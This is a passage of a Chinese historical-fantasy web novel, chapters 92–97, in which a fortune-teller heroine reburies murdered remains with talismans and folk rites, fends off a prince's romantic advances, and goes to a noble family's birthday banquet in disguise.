《和离后,我一卦名动京城》
第92章 筹备婚礼
用早膳的时候,莲儿就发现了自家小姐有些不对劲。
虽然依旧表情淡淡的,好像对什么都漠不关心。
可她就是能看出她不开心。
用脚尖碰了碰还在傻乎乎啃鸡腿的李斗,在他看过来的时候,往江清婉那边使了个眼色。
李斗没看懂,憨憨的给江清婉夹了块鸡肉放在了碗里。
“小姐多吃肉。”
江清婉搅动粥的动作停了下来,随即放开瓷勺。
“青穗,吃过饭你去一趟棺材铺,订一口大棺材,要槐木的,不要上红漆,做一般棺材的两倍大小,再备些元宝蜡烛。加钱给他们,今天就要。你看着现场做,不能偷工减料,也不可换其他木材,整个棺材不许用钉,老师傅能做到。”
“莲儿,李斗,你们去集市上买一只活鸡,要红嘴公鸡,三年以上的,再去买十三条红尾鲤鱼,要活的,用盛了水的缸装上,弄好以后,去京兆府衙门,我在那里等你们。”
她说完没再吃一口饭,起身回了房间。
莲儿心中担忧,自从离开秦家,她还从未见过自家小姐这般。
“青穗姑娘,昨夜是不是出了事?小姐她怎么……”
青穗回想了一下,随即摇了摇头。
“没有。”
在画舫喝酒吃肉开心的不行,后来一路回府都是被自家主上抱在怀里的,能遇什么事?
难不成是走了那不远的一段路累着了?
实在是太过娇气。
“我吃好了,先走一步。”
话音未消,人就没了影。
莲儿无奈,又踹了李斗一脚。
“你就看不出咱家小姐不开心吗?”
李斗闷闷道,“要买棺材还要买活鸡,肯定是要祭什么人的,这个时候小姐肯定不开心的。是不是秦家的人都死了?”
莲儿猛地噎住。
竟有那么一瞬间觉得,李斗这话是不是成真了。
随即一想怎么可能。
要真是全府被灭,早就传出动静了。
她摇摇头,快速收拾好碗筷,拉着李斗也出了门。
经过前院的时候,看到平时鲜少人进出的大门,今日却格外热闹,来来回回好些人,还有不少人抬着些木箱子进去。
莲儿正疑惑,就看到天和成衣铺的掌柜带着老裁缝从里面走了出来,正好跟他们走了个对头。
她忙福了福身。
“掌柜的好。”
天和成衣铺在京城很出名。
不仅成衣做的漂亮,什么珍稀的布料,都能在他们铺子里找到。
搬去王府后院时,莲儿就是在天和成衣铺给江清婉买了两身暮云纱,花了几百两银子。
后来又去订过几次。
她嘴巴甜,又买过不少上好的布料,出手阔绰,掌柜的自然认得,当即笑容可掬的回道,“原来是莲儿姑娘啊,好巧。”
莲儿立刻又福了福身。
“掌柜的好营生,是来王府做衣服吗?近日店里有什么好布料,可要给我家姑娘留一些。”
开门做生意的,话都比较的密。
掌柜又接了这单大生意,自然是开心,闻言笑着说,
“这个月不行了,要等下个月。王府要办喜事,上好的料子全包了,也不知是哪家姑娘有这般福气,连小衣的用料都是顶顶好的江南丝绸,那可是一块帕子就能顶的上一身成衣的料子。”
莲儿暗暗心焦。
怪不得自家小姐情绪不佳。
原来是王爷要娶妻了。
看来娶的一定是那位筱然县主。
小姐与她多有不睦,那位县主进了门,哪还有她们好果子吃。
她不能看着小姐刚出狼窝,又进了虎区。
定要劝着早早搬出去才好。
掌柜的和老裁缝都着急回去忙活,拱了拱手告辞离开。
莲儿忙福身送别,再回头看着巍峨的王府正门,又想起这段时日墨云寒对江清婉做过的事情,气的连连跺脚。
她原还以为,王爷待小姐有所不同。
可如今才知,夜闯闺房,促膝饮酒,不过是权贵皇族一时兴起的玩乐而已。
她愤愤道,“李斗,我们走。”
……
云杳杳横死前并未出嫁,按照大周礼制,应葬在云家祖祠的边上。
受云家祖宗庇佑。
只是云家本就人丁凋零,后来云筱然封了县主,又将牌位全搬去了白慈山庄,鲜少来墓地祭拜,早就荒芜。
江清婉带着人寻了好半天才找到,看着大片的枯草,让人全都拔了。
毕竟收了银子,这点事,就当赠送。
等枯草除去后,墓碑和坟冢便也露了出来。
下葬看风水这种活儿,江清婉已经许久不做。
她拿着罗盘,点着小手来回走着,刚刚确定好方位,就听见远处传来马蹄声。
墨云寒骑着猎鹰踏风而来,身后跟着形影不离的夜七。
莲儿紧张的看向江清婉,果然见她脸色瞬间沉了下来,心下越发笃定自己的猜想,忙大步走到江清婉身前挡着,福身高声行礼。
“见过王爷。”
话音刚落就被青穗一把拽开,声音压得很低。
“你找死啊。”
看不到她家主上冲着江娘子去了吗,还敢在中间挡着?
莲儿气的挣扎,却又不能明说,毕竟墨云寒并未给她家小姐任何承诺,也未有婚书,实在是拈酸吃醋都没有名分。
这才是最憋屈的。
江清婉狐疑地看了眼莲儿。
以往见到墨云寒,莲儿从不会主动靠近。
今日这是怎么了?
那眼神怎么像是要刮了他?
“抱歉,退朝后有些公务耽搁了,累不累?”
墨云寒温和的声音淡淡响起。
骤然袭来的冷香丝丝缕缕将她包裹。
江清婉往侧边移了一步。
“王爷不必亲自过来监工,我既收了银子,自会将事情办好。”
“李斗,带人来这里起坟。”
李斗和几个伙计拿着铁锹走过来干活。
墨云寒便也让开位置,站到了江清婉的身边。
那股气息似甩不开般,扰得江清婉心烦,她不爽抬头,“你能离我远点吗?”
男人的瞳孔猛地收紧,显然没料到她会突然凶他。
怔了怔道,“不能。”
江清婉噎了个半死。
墨云寒忽又开口。
“你昨夜唤我夫君!”
“咚!”
“啊!我的脚,疼疼疼,怎么这么多石头啊。”
“继续挖,都别停啊。”
李斗将铁锹铲的震天响。
被青穗拽着的莲儿,此刻已经放弃了挣扎,目瞪口呆、难以置信的咕咚咽了下口水。
所以,王爷要娶的人……是她家小姐?
第93章 遇蛇
江清婉被墨云寒如此大胆的言辞吓了一跳。
小脸瞬间涨得通红。
“你……你疯了。”
昨夜喝了不少酒,有些话说得过了界。
今日一早起来,她就有些恼。
这会儿却又被墨云寒当面点了出来,实在是让人浑身都有些燥
墨云寒却似浑不在意。
一双深邃又寡情的眸子里,噙着笑。
“本就是事实,如何说不得?”
江清婉气的一脚踹在了他金丝纹绣的黑色靴子上,毫不客气地将鞋底的泥巴蹭脏了他的鞋面。
“啊!蛇,有蛇!”
挖坑的人忽然大叫一声,吓得四散而逃。
只见他们刚刚挖开的半人高的坑洞内忽然蜂拥而出无数条色彩各异的小蛇。
密密麻麻地往外游走。
地面没了枯草的遮挡,看的清晰又渗人。
莲儿吓的尖叫,往青穗的身上蹦。
青穗拔出短刀沉声提醒。
“里面有毒蛇,避开。”
李斗举着铁锹护着那几个伙计往后退。
夜七也已经落在了他的身前以防不测。
头皮发麻的紧张时刻,却响起江清婉不悦的嗔怒。
“墨云寒,你放我下去。”
众人齐齐看去。
就见墨云寒将人打横抱起,身形已经退到了几步之外。
而被他抱着的江清婉正一脸嫌弃地瞪着她。
那气氛没有半点涟漪暧昧,甚至还有几分好笑。
墨云寒尴尬的低咳一声。
“有蛇。”
“我不怕。”
江清婉猛地挣开他腰间的手落在地上,气呼呼的又踹了他小腿一脚。
祁连山中蛇虫鼠蚁无数,她岂会怕这些东西。
落地之后,手中已经摸出空白符纸,快速刻画后扔进了蛇堆。
蛇群似乎受到感召,蜂拥围上落地的符纸,纠缠成巨大的蛇团,却又很快朝着一个方向滚去,片刻后消失在乱石山中。
跟着李斗挖坑的几个伙计吓得腿软。
“坟地出蛇窝,可是大凶啊,咱还挖吗?”
“就是啊,这么多蛇,风水怕是早就破了。”
夜七凑到土坑边往下看,干燥的山土之下,竟因蛇群的出入,而变得潮湿泥泞,还能看到挤出蛇钻出来的小坑洞,正往外渗着水。
饶是他不懂风水,也看出这地方怕是不能埋人。
“江娘子,这地方不太对。”
江清婉也已经走过去,看了看坑底,又看了看自己手里的罗盘。
这玩意她不常用,可不至于连给查个墓穴看个风水都能出岔子。
思及此,她弯下腰伸手够了点泥土在指尖碾了碾。
潮湿中透着一股凉意。
她转头看向墨云寒。
“云家以前也是朝臣吧?”
墨云寒来到她身边,同她一样蹲下身。
“是,云筱然的父亲和祖父都是军武出身,曾随威远候南征北战,就是郭浩的父亲,立了战功之后,封了官职建了云府,后来在大周灭大隋的时候,云家祖父带领一支先锋队,突袭时遭遇大隋机关营火攻暗算,战死沙场。”
江清婉皱眉。
怎么又是死在那场大战中。
“尸骨可有运回?”
墨云寒摇头。
“大隋机关术很厉害,火势太大,尸体焚烧严重,根本分不清谁是谁,便就地掩埋立了英雄冢。至于云家祖祠墓地,只是立了衣冠冢让生人追思。”
江清婉冷笑一声。
“荒草遍布,这生人也没怎么追思。”
墨云寒知她提的是云筱然,抿了抿唇转移话题。
“出现这么多蛇,是不是有人在墓地动了手脚?”
江清婉白了他一眼。
“没有。”
“香火断,亡灵寒,如这漫山的荒草一般,久而久之,变成了无主之地,蛇虫鼠蚁想来便来,也无须请示天地,问询亲人。”
她转头朝青穗和莲儿招了招手。
“把那只活公鸡拿来,割了脖子,用鸡血围着墓地周围淋上一圈。”
“再将那缸鱼搬过来,放在……”
她看了看,指了个位置。
李斗扔下铁锨过去帮忙,很快弄好一切。
夜七忽地咦了一声。
“水,渗下去了。”
几个伙计探头往下面看,忍不住啧啧称奇。
他们都是干白活的,也见过下葬时遇见的稀奇古怪的事儿,但凡遇过蛇,风水师都不会惊动蛇群,而是选择避让。
这还是第一次见蛇给死人腾了窝,主人家还要继续下葬的。
江清婉过去又捞了一撮土碾了碾。
那股凉意依旧没散,但却不再如先前那般恶意的往肌肤里扎。
她颇为满意的点了点头。
棺材里装着的白骨,全都是横死,又长埋枯井淤泥之中,本就不能按常人的方式去埋,如今这蛇群倒是帮了忙。
让这位置不仅背阴还多了寒气,只需用公鸡血的阳气避了水,便是最合适这些怨灵残骨的落地之处。
师父说,世间阴阳,是一个大的轮回。
虽没有人真的见过,人死后入轮回道,但若是真的能有轮回,一个好的葬身之地,对他们来说,许是这世间正义最后的一次庇佑。
“继续挖吧。”
她站起身,退到水缸处,等棺材被抬入坑中点了蜡烛撒了纸钱后,她才将一道符贴在了水缸之上。
墨云寒看清水中鱼儿数量,正好是白骨数,不由侧头问她。
“这鱼也要一同埋进去吗?”
江清婉抬眸。
“不,等把棺材埋好,找个地方让厨子做成麻辣鱼,我们一起吃。”
墨云寒噎住,声音都变得有些怪。
“吃掉?”
李斗呼哧呼哧铲着土。
“不能吃,那是锦鲤,又小又柴刺还多,肉也不好吃。”
夜七忍不住抽了抽嘴角。
这是好吃不好吃的事儿吗?
在墓地摆出的贡品,还恰好跟白骨同数,想想都瘆得慌,还怎么下嘴。
“江娘子,真吃啊?”
江清婉凉凉笑了笑。
“你喜欢吃?那送你吃。”
夜七连连摆手,总觉得今日的江娘子比平日更难琢磨。
话里都带着刺儿,比他家王爷还阴晴不定。
难不成昨夜跟自家主子聊得不愉快?
棺材埋好,几个伙计竖了块无字的石碑。
江清婉再次看向墨云寒。
“要题字吗?”
墨云寒沉思片刻,走上前跟夜七要了剑。
手腕游动,很快在石碑上刻下了一行字。
“云杳杳及云家仆从一十三人祭。”
落款:墨云寒。
看着他深深刻在石碑上的名字,江清婉心里不由紧了紧。
原是他知道死的都是什么人。
可为何偏偏不让该赎罪的前来赎罪?
不过这终究是别人的事情,她不愿再为此多费心神,让莲儿给伙计分了钱,等人走散了才道,“李斗,你陪莲儿出城,找条干净的大河,将这些鱼放生。”
李斗却还惦记着江清婉刚刚说要吃麻辣鱼的事情。
“小姐,去东郊的河里放生吧,我给你抓几条草鱼回来,那个好吃。”
东郊?
江清婉想了想。
那个地方倒很合适。
“可以,绕开渔船和码头,免得刚放生就又被捞上来。”
墨云寒提议。
“王府有池塘,养在其中是否更为稳妥安全。
李斗和莲儿刚准备走,闻言齐齐抬头看向他,又齐刷刷转向江清婉。
既然怕被捞,圈养在府中池塘的确更稳妥。
似知道他在意什么。
江清婉眸色清冽。
“鱼儿身上并没有云杳杳的魂灵,只是吸收了白骨中残留的怨念,与天地之间寻个方式散去,你就算养十年二十年,云杳杳也不会再回来。”
说完,她转身离开。
生的时候护不住,又何必执念于死了的时候。
到底是感动了自己,还是慰藉了愧疚。
于亡灵而言,不过徒劳!
第94章 匪患
青穗冲着墨云寒行了一礼,匆匆跟上。
莲儿和李斗见气氛不对,也抱着水缸走了。
墨云寒怔怔的看着江清婉纤瘦的背影,片刻后收回目光落在面前的石碑上,孤寂如崖边劲松,站了许久。
对亡者的无力愧疚,是这世间最难拔出的刀。
带着血肉,难平伤口。
初始云杳杳的那年,他八岁。
刚刚被法师放了血,单薄的外衫遮着满身的伤痕,踉跄着走在大雪之中,冻得瑟瑟发抖。
他的父皇已久不上朝,也不愿见他,只用一句话挡住要将他火祭的朝臣。
“朕的小九,绝不能死!”
父皇留他命,却对他不闻不问。
天地之大,他像一条任人宰割的刍狗。
云杳杳跟着云家祖母入宫给太后请安,在殿外僻静的假山处遇到了几乎疼昏过去的他。
给了他一瓶金疮药,和一块梨花糕。
他那时恨极了整个世界。
嘶吼着将金疮药扔在了她的身上,梨花糕捏的粉碎。
云杳杳吓得哇哇大哭,寻她来的太监拉着她离开,细细碎碎说着警告的话。
“他是瘟神,云小姐离远些,会染了灾厄。”
后来父皇准他去太学院旁听,云杳杳一眼认出他,日日往他手里塞各式各样的点心。
他那时一心改命,对少女的好意视而不见。
那些点心倒是让他裹了腹,不至于在夜里偷偷练功的时候饿肚子。
有一次,云杳杳被几个男生欺负,他将那些人揍得鼻青脸肿,只当还了她送点心的恩情,自此两清。
因那次打架,他被父皇责罚关在宫里三个月。
之后,他便入了军营,再没去过太学院,偶有两次被云杳杳堵住,红着眼问他可好。
他也从未放在心上。
再见,便是那次出征……
若是时光倒流,他但凡多些关注,云杳杳或许就不用死。
可正如江清婉所言。
无论他如何做,那些锦鲤不会变成云杳杳,那些遗憾,也不会被弥补。
一切不过他心中梦魇,跨不去那道坎罢了。
“主上,该启程了。”
夜七上前提醒。
墨云寒回神,眸色微微沉了沉。
早朝之后,皇上留他在御书房。
京郊之外三十里,有匪患出没。
已杀了十数人。
根据简报所述,杀人所用的兵器,为大隋的金钩弯刀。
机关精妙,更胜从前。
此事关乎京中安危,皇上命他密查。
“洛九来了吗?”
“已在黄皮子坡等候。”
墨云寒最后看了眼石碑,转身上马疾驰而去。
……
江清婉坐着马车刚进王府后院的巷子,就听见一道熟悉的声音。
“江妹子,你可让姐姐好等。”
马车停下,江清婉掀起布帘,就见墨青蕊带着一个妇人和一个少年站在院门口。
那少年看到她立刻欢喜的迎了上来。
“见过恩人姐姐。”
正是她前些日子救的何年的儿子何意东。
而陪在墨青蕊身边的妇人,自然便是柳氏。
“江娘子。”
她福身见礼。
江清婉扶着青穗的手腕走下车,颇有些疑惑。
“你们认识?”
墨青蕊笑着挽上他的手臂。
“我娘与她娘是族亲,若论辈分,她应唤我一声表姐,她那夫君性子耿直,我们平日往来的也少。今日她带着儿子来拜会我,聊起家常才知她竟和江妹子另有缘分。既然人都到了长安区,岂有不见见救命恩人的道理。”
她一边说着,一边娴熟地招呼柳氏和何意东往院子里走。
“东儿,你可小心这些花儿,莫要折了。”
何意东的身体恢复的极好。
穿着一件湛蓝色长衫,头发用同色的布巾扎着,很是精神。
闻言施礼应答。
“东儿知晓了。”
“这些都是恩人姐姐种的吗?好生漂亮。”
墨青蕊噗嗤一声笑道。
“不是你恩人姐姐种的,是你恩人姐姐未来的夫君种的。”
江清婉眉宇微冷。
“青蕊县主不要乱说。”
墨青蕊嗔了她一眼。
“你还要瞒我啊?这几日宋姐姐那么忙你是半点不知吗?我可听说了,王府偷偷采买了不少成婚用的东西,还给我小九叔定做了婚服。我小九叔身边除了你,哪还有旁的女人。这东西自然是给你准备的。”
闻言,江清婉很是意外。
那张赐婚圣旨并未公开宣读,她猜到是墨云寒想应对不时之需的后招。
怎么会真的准备成婚物品。
一旁的柳氏听得大为震惊。
“郡主是说,九王爷要娶江娘子?可是为妻?”
她这段时日都在府中照顾儿子,鲜少去问询外面的事情。
她本也不是喜欢四处八卦之人,关于江清婉跟秦明朗的事,还是那日听门房小厮说过。
今日得知江清婉竟然住在了九王府的后院,还与九王爷关系颇深,已够她震惊,如今竟要与九王成婚。
虽她知晓江清婉是有大本事的人,可礼制门第森严的皇室,成婚岂是儿戏?
她这话问的墨青蕊也有些愣,差点脱口而出“怎么可能是妻。”
话到嘴边又咽了回去,似怕江清婉不悦,忙柔声安抚。
“江妹子,名分一事,要看怎么论。若能得一男子真心相待,一世恩宠,就算不是妻,其实也无妨。”
站在凉亭外观花的何意东忽地朗声道,“姨母这话说的不对,若男子真心对待女子,又怎会娶他人为妻,让自己心爱之人为妾。恩人姐姐,若他真这般待你,你莫要嫁他,等我长大,我娶你。”
墨青蕊忍不住噗嗤笑出了声。
“果然初生牛犊不怕虎,东儿好本事,竟然敢跟当朝九王爷争女子,姨母看好你。”
柳氏急道。
“郡主说笑了。”
“东儿,休要再胡言。”
本有些沉重的气氛被少年这一闹倒是散了不少。
柳氏站起福了福身。
“江娘子,今日我来的匆忙,并未备礼,实在有失礼数。既认了门,他日我再带东儿正式来谢恩。”
墨青蕊最受不得她这一板一眼的模样,伸手将她拽坐在石凳上。
“江妹子,她自小就如此,好生没趣,我平日都不爱跟她玩。”
“对了,安安让人传话说是寻了几坛罕见的葡萄酒,择日不如撞日,就今晚吧,我们一起去品尝一番。”
柳氏瞧她一眼。
“郡主表姐,今晚苏家老王妃寿宴,你不是要去送寿礼吗?”
墨青蕊这才想起,猛拍了一下脑门。
“瞧我这记性,那就改为明日。”
江清婉眸光闪了闪。
“苏府今晚办寿宴?”
第95章 寿宴上被挑衅
秦府。
正对镜理云鬓的苏玉兰不悦地在秦明朗腰间拧了一把。
“在想什么,心不在焉的,今晚祖母大寿,你可要给我好好表现。”
秦明朗回神,俯身靠近,殷勤地帮她挽了下耳边的碎发。
“兰儿,祖母大寿,你祖父应该会出面吧?”
苏玉兰歪头看向他。
“怎么?担心见不到我祖父?”
秦明朗拉了一旁的椅子坐下。
“毕竟这是我第一次登门,是不是该为祖父也准备一份厚礼,才显得尊重。”
见他这般用心,苏玉兰立时弯起嘴角。
“祖父和祖母的感情的确不算好,平日祖父一人住在佛心堂,后宅诸事,都是祖母在料理,鲜少会烦到祖父。往年寿宴,祖父偶尔会出席,我不确定他今年去不去,就算他不去,我也可以带你去佛心堂见他老人家,你这般本事,怕什么?”
秦明朗心里发虚,只能讪讪笑笑。
他回忆起那日在暗渠遇到的神秘男人。
帮他解了老树的符咒,还让他重振了雄风。
他的一切事情,对方似乎都了如指掌。
“拿到大隋皇陵地图,我会给你想要的一切,包括权势!”
这是那人消失前留下的话。
他想不通,能在暗渠中来无影去无踪的人,为何还需要他去偷东西?
而且老王爷为什么会藏匿大隋皇陵的地图?
“你又在想什么?”
苏玉兰不满的拧住他的耳朵。
秦明朗忙侧头求饶,“兰儿,你与我说说王府内各院的位置吧,到时男女眷若分开,我怕万一莽撞了给你丢脸。”
“你倒是挺细心。”
苏玉兰嗔了他一眼,松开手让他去拿了宣纸和笔墨,一边画一边介绍。
说的差不多的时候,秦润一脸亢奋的走了进来。
“父亲,母亲,孩儿准备好了。”
苏玉兰回头,上下打量着他的衣着和头上的金冠,忍不住又刮了秦明朗一眼。
“你倒是舍得花银子。”
“润儿这身,甚是矜贵,极好。”
秦明朗越发心虚。
他手里只剩下五千多两,本想全花在寿礼上,却又被借债的蛇头堵住要利息,不给就去收秦家的房子。
交了利息,买寿礼都紧紧巴巴,哪还有银子给秦润置办行头,便随便买了套成衣凑合,谁知去了他院子才知道,他的衣橱里还有好几套没穿的成衣,全是顶好的料子。
铜镜前的匣子里,更是放了好几个做工精良的头冠。
一问才知,这些东西都是之前江清婉给他买的。
两相对比,秦润更觉江清婉比苏玉兰贤惠,也能赚钱。
若是不将人撵走,他何至于过这般窘迫难捱的苦日子。
秦润也不敢说衣服和金冠是江清婉买的,只紧张的又行了一礼。
“润儿不想给母亲丢脸的。”
苏玉兰虽有些心疼银子,不过一想到秦润这次会考拿到的成绩,顿时又展开了笑颜。
“今日你就跟在我身边,也好让苏家人都认认你。”
秦润心中雀跃。
“润儿去院外等着。”
苏玉兰点点头,又对着铜镜整理了一下,也站起了身。
“时辰不早了,我们走吧。”
秦明朗忙牵住她的手。
苏玉兰忽又想到什么,压低声音警告。
“今日在苏家,万不可提你父亲的事情。若大房挑衅,也不必理会。一切等见到祖父再开口,将所有罪责全扣在江清婉勾引九王陷害忠良上,懂了吗?”
秦明朗心中一动。
“兰儿,老王爷真能跟墨云寒抗衡?”
苏玉兰脚步停了停,眼中带着不可一世的骄傲。
“你太小瞧祖父在军中的威望了。”
……
夜幕降临,平日庄严肃穆的长安区变得热闹非凡。
一辆辆马车沿长街而入,规整的排在路边,场面极为震撼。
下车的客人却无一人身着朝服,全都是锦衣华服的便装,夫人端庄,女子娇俏,各府遣来送礼的少爷嫡子们,自是风流倜傥,不甘落人下风。
威远候已年迈,也早不理朝政,来这种场合的自然是唯一的世子小侯爷郭浩。
苏府管家拿过拜帖躬身行礼。
“老侯爷身体可还康健。”
郭浩虽平素乖张,此刻却也敛了性子。
“还不错,上礼。”
身后小厮低垂着眉眼上前,将手中大大你的红色的锦盒递了过去。
管家双手接过,高声喊道,“威远候府上礼……”
随着他的高喊,郭浩摇开折扇大步走了进去。
入府后脚步立刻缓了半步,侧头小声低语。
“九王府的宋夫人也会来送礼,你为何不跟她一起?”
抹黑了小脸,又点了雀斑的江清婉嘴唇微动。
喉咙刻意紧着,声音透着几分少年的粗哑。
“这是我自己的事,与王府何干。”
郭浩丝毫没有怕被连累的担忧。
笑的眉眼都弯了起来。
“看来在你心里,我比九王更好,要不要今夜搬去我府上住?”
江清婉嫌弃的瞥他一眼。
“我可以让你永远不说话。”
郭浩立刻闭嘴。
一时得意忘形,差点忘了这小娘子的本事。
院子里已经来了不少人。
三五成群聊着天。
郭浩虽是小侯爷,可没有任何官职。
靠的是老侯爷的祖荫庇佑,混着富贵日子,在外面那群少爷堆里,玩的很开。但是在这里,真正看得上他的人却极少。
他也不愿虚与委蛇跟那些心眼子比他头发丝都多的朝臣攀谈,正准备寻个位置坐下等着开席,一个锦衣公子却走了过来。
“呦,这不是我们甲班考了零蛋被夫子罚站顶水盆的小侯爷吗?我瞧瞧这脑袋有没有顶秃?”
说话的是太学院甲一班的夏宇。
父亲官拜三品,是个言官。
此人手无缚鸡之力,只会咬文嚼字拽穷酸。
是甲班优等生。
一路会考拿了高分才从丙班一点点升入的甲班。
像郭浩这种不学无水,连篇政策都写不出来的白痴,却靠着侯爵之位轻松就入了甲班,他最是看不上。
平日在太学院遇见,总要酸上几句。
郭浩被戳了短处,还当着江清婉的面提这么丢脸的事,当即恼火,
攥着折扇指着对方的鼻子就开始骂,“你再说一句,老子揍死你。”
夏宇一把将他的扇子拍开,丝毫不惧。
“小点声,蛮横莽夫的样子被人看的很光彩吗?我提醒你,这里可是苏府。”
“你不要以为仗着有侯府爵位继承,真当自己是个人物了?我劝你,乖乖从甲班滚出去,跟你那已经老的拿不动刀枪的侯爷爹学几招本事,也别丢了你武侯的家学。”
他身后两个锦袍的公子哥,也是官宦之子,看热闹的耻笑出声。
郭浩气的脸红脖子粗,却又不能当场打人。
“你们有种跟我出去,一对三,老子也打你们满地找牙。”
夏宇鄙夷的撇撇嘴。
“你们瞧瞧,莽夫就是莽夫,老侯爷舔着脸送他入太学院,一样没用。废物,就该有废物的自觉。”
郭浩忍无可忍,一巴掌扇在了对方的脸上。
“你再敢说我爹,我打断你的腿。”
夏宇眼中闪过狠厉,忽地捂着脸愤恨指控,声音陡然大了许多。
“小侯爷,我与你好生说话,你怎可如此蛮横动手打人?今天可是老王妃的寿辰,莫不是威远候府连苏老王爷都不放在眼里了吗?”
第96章 碾压的决心
这罪名可大了。
威远候虽是一品军侯,可相比于苏巍川的威望,那就差了太多。
这满院子的人全都看了过来。
“那位就是威远候家的小世子吗?真是半点侯爷的风范都没有。”
“竟然在这种场合动手打人,简直无法无天。”
“被打的是夏大人的儿子吧?这夏大人最是护短,怕是明天早朝就能参上一本。”
郭浩又急又气。
指着夏宇发着狠。
“你给我等着。”
说着就想先离开,却被江清婉拉住了手腕。
“世子,你这一走,旁人便会认定是你错,这罪名扣下来,岂不冤枉?”
郭浩愣住。
手腕处传来柔软温热的触感,似一下平复了他所有上头的情绪。
他停下脚步,有些委屈的看着江清婉。
江清婉依旧垂眸而立,灰布长衫,带着小厮的布巾,衬的人瘦弱矮小,毫无存在感。
颇有几分少年音色的清朗语调,却又朗朗的让在场不少人听得一清二楚。
“刚刚这位夏公子嘲笑老侯爷年迈,连刀枪都拿不住,还说他老人家舔着脸跪着求着才让您入了太学。可老侯爷一生为大周披肝沥胆,护卫一方太平,连皇上都感念其军功赫赫,特赐侯爵传承,如今却被人这般羞辱,难道您打回去有错吗?”
“就算您目不识丁不通政策,写不出让人拍案叫绝的文章又如何,您护卫自己的父亲,孝心可表,错了吗?难道任由皇上敬重万民爱戴的侯爷,您生身父亲被侮辱也不言不语吗?”
一时间,现场寂静无声。
之前还嘲笑郭浩鲁莽冲动的众人顿时脸上都有些烫。
虽然老侯爷已退出朝堂,可当年的那些战功,却是被记录史册的。
如今大周的和平盛世,老侯爷当得起浓墨重彩。
郭浩也回过神来,腰杆瞬间挺得笔直。
“夏宇,我是没你能言善辩,会写文章,我也承认我脾气不好,暴躁易怒。你与我同窗数载,对我了如指掌,却偏要在这种场合羞辱我父,激我动手,居心何在?到底是我不敬重苏老王爷,还是你们夏家别有用心!”
夏宇登时慌了。
他没想到一向冲动做事的郭浩会说出这般话,急的嘴都不利索了。
“我……你休要胡言乱语,我何时羞辱过老侯爷?”
江清婉却抬手一指,“小人听见了,你身后的那两位也听见了,你藐视皇恩,难道以为别人也会跟你一样肆无忌惮连累家族吗?”
夏宇闻言,心瞬间定了下来。
那二人与他关系极好,定不会背叛他向着郭浩。
可这时,背后却传来略带木然的声音。
“是,夏宇辱骂老侯爷,郭浩气不过才动手的。”
“夏宇嫉恨郭浩有个好爹,而他爹只是三品言官,还要他一点点往上爬才能进甲班,在太学院里,他骂的比这还难听……”
“闭嘴!你们疯了!”
夏宇急的脸红脖子粗,一手攥着一人的衣领恶狠狠警告。
二人却似如梦初醒般,神色呆滞完全的一头雾水。
郭浩呵呵两声。
“夏少爷注意一下形象和场合,你这样怎的比我这不学无术的莽夫还要莽夫?”
这时刚和几个同僚去佛心堂拜会了苏巍川的夏世辉急匆匆赶来,黑着脸怒喝。
“夏宇,你在胡闹什么?”
夏宇见自个老爹来了,立刻开始告状。
“爹,是郭浩……”
“放肆!出了太学院,便不能再以同窗处之,该有的规矩不懂吗?那是小侯爷,岂能直呼其名,坏了礼数?”
夏世辉说着冲郭浩微微拱了拱手。
“小侯爷,小儿礼数不周,老夫跟你致歉。老侯爷为大周鞠躬尽瘁,想必小侯爷也是心胸宽广之人,不会不知场合的乱来。”
言官就是言官,话一出口,便将所有路全给堵死了。
郭浩忍不住又看向江清婉。
这一次,江清婉却并没有打算再帮。
刚刚帮,是不想郭浩受不得气直接离开坏了她的计划。
至于现在,
受点气就受点气吧,总那么冲动行事,早晚会吃亏。
见她垂眸不语。
郭浩定了定神,抱拳回了一礼。
“夏大人说的对,我不会给我爹丢脸的。”
风波消散。
夏世辉依旧笑的温和亲民,眼底却尽是戾色,随即带着夏宇去了别处。
……
苏府后宅。
老王妃的院子里,
苏家大房苏容安正陪着说话。
“贵妃真是有心,早上送了礼,晚上又赐了御膳,只是宫规森严,不能亲自前来给母亲贺寿。”
老王妃穿着深红色锦缎袍子,发髻束的整整齐齐,别着根碧玉簪子,并无过分奢华的装饰。
一双眸子透着凌厉威严,说话时,语气却又显得极其温和亲切。
“三儿一向懂事,只是一直未得子嗣,你做大姐的,也要多想想法子。”
苏容安点头应下,这时门外传来程氏的娇笑声。
“娘,我带兰儿和您孙女婿来给您贺寿了。”
说话间已经掀开帘子走了进来。
见到苏容安在,脸色微微变了变。
“大姐也在啊。”
苏容安眼中闪过讥讽。
“娘过大寿,我不在这里能去哪里?倒是你,这个时候才过来,难不成娘过寿,府中一切还要娘来张罗?夫君没本事,自己也越发懒惰,明明招的赘婿,却偏要在外让人称呼程夫人,真是丢尽了苏家的脸。”
程氏脸上挂不住,狠狠瞪了眼自家男人一眼。
“我们姐妹说话,你杵在这里做什么,还不滚去外面招呼客人。”
程楠唯唯诺诺的拱了拱手。
话都没敢说就低头走了。
程氏厌烦的收回目光,又恢复笑颜。
“我自然比不过大姐,虽夫君不争气,可好在日日夜夜陪在身边,不像大姐夫,带着儿子常宿军中,大姐夫这夜里也落得清静没人扰。”
苏容安气的脸色有些难看。
眸光忽地落在程氏身后。
看着相携而来亲密无间的秦明朗和苏玉兰,还有跟在二人身侧的秦润,再次勾起唇角。
“兰儿还真是跟二妹一模一样,找男人光看脸,好好的一个县主,偏去自降身份做人的后娘。”
苏玉兰自幼受大房挤压,今日是带着碾压的决心来的,哪里忍得住。
“我夫君为二品将军,和大伯父同级。现已任巡防营首将,掌管京中治安,兵权在握,更是改建了战车,受皇上器重……”
秦明朗心虚的去拉她,却根本拦不住。
苏玉兰越说越得意。
“军需兵器,是战场必备,一批好的机关战车,足可增强防御战力数倍。说不定将来大伯父和堂哥还要仰仗我夫君。我劝大伯母说话,还是客气些好。”
她又将秦润拉到身边。
“还有我家润儿,听话乖巧,对我恭敬有加,更是在太学院会考中取得了优等的成绩,如此优秀的儿子,再来几个,我都欢喜。”
苏容安满眼不屑的看向秦明朗。
“你现在是巡防营首将?”
秦明朗额头的冷汗都冒了出来。
苏玉兰冷嗤道,“我夫君改建战车有功,皇上亲赏,岂会有假?”
“可我怎么听说……”苏容安话未说话,帘子外忽然传来一道娇媚动人的声音,酥的人心尖发颤。
第97章 势在必得
“母亲,兰儿自然不会骗祖母。”
苏容安的女儿苏青禾掀帘而入。
一袭浅清锦绣,幽香惑人,极为明艳的一张脸,五官和苏玉兰并不相像,无论姿容还是身段,都更胜一筹。
苏容安并不是招的赘婿,但夫家虽是军武出身,却并无强势背景。
而苏容安作为苏家嫡女,所生子女,若为苏姓,自然是王府世子和嫡女。
